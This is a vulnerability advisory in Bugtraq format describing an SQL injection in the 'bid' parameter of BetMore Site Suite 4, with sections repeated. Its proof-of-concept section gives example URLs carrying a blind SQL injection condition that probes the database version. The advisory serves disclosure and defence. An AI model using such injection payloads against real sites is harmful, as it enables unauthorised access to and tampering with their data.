BetMore Site Suite 'bid' Parameter SQL Injection Vulnerability
BID:45820
Info
BetMore Site Suite 'bid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 45820 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-0516 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 16 2011 12:00AM |
| Updated: | Apr 13 2015 09:02PM |
| Credit: | BorN To K!LL |
| Vulnerable: |
E-PROMPT C BetMore Site Suite 4 |
| Not Vulnerable: |
E-PROMPT C BetMore Site Suite 4.2.1 |
Discussion
BetMore Site Suite 'bid' Parameter SQL Injection Vulnerability
BetMore Site Suite is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
BetMore Site Suite 4 is vulnerable; other versions may also be affected.
BetMore Site Suite is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
BetMore Site Suite 4 is vulnerable; other versions may also be affected.
Exploit / POC
BetMore Site Suite 'bid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/mainx_a.php?lngx=[true-value]&x=[true-value]&xid=[true-value]&bid=[SQL]
http://www.example.com/mainx_a.php?lngx=12&x=367&xid=2&bid=78222 and substring(version(),1,1)=4
http://www.example.com/mainx_a.php?lngx=12&x=367&xid=2&bid=78222 and substring(version(),1,1)=4
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/mainx_a.php?lngx=[true-value]&x=[true-value]&xid=[true-value]&bid=[SQL]
http://www.example.com/mainx_a.php?lngx=12&x=367&xid=2&bid=78222 and substring(version(),1,1)=4
http://www.example.com/mainx_a.php?lngx=12&x=367&xid=2&bid=78222 and substring(version(),1,1)=4
Solution / Fix
BetMore Site Suite 'bid' Parameter SQL Injection Vulnerability
Solution:
Vendor updates are available. Please contact the vendor for more information.
Solution:
Vendor updates are available. Please contact the vendor for more information.
References
BetMore Site Suite 'bid' Parameter SQL Injection Vulnerability
References:
References:
- Gambling Software Security Update - BetMore 4.2.1 (E-PROMPT C)
- Vendor Homepage (E-PROMPT C)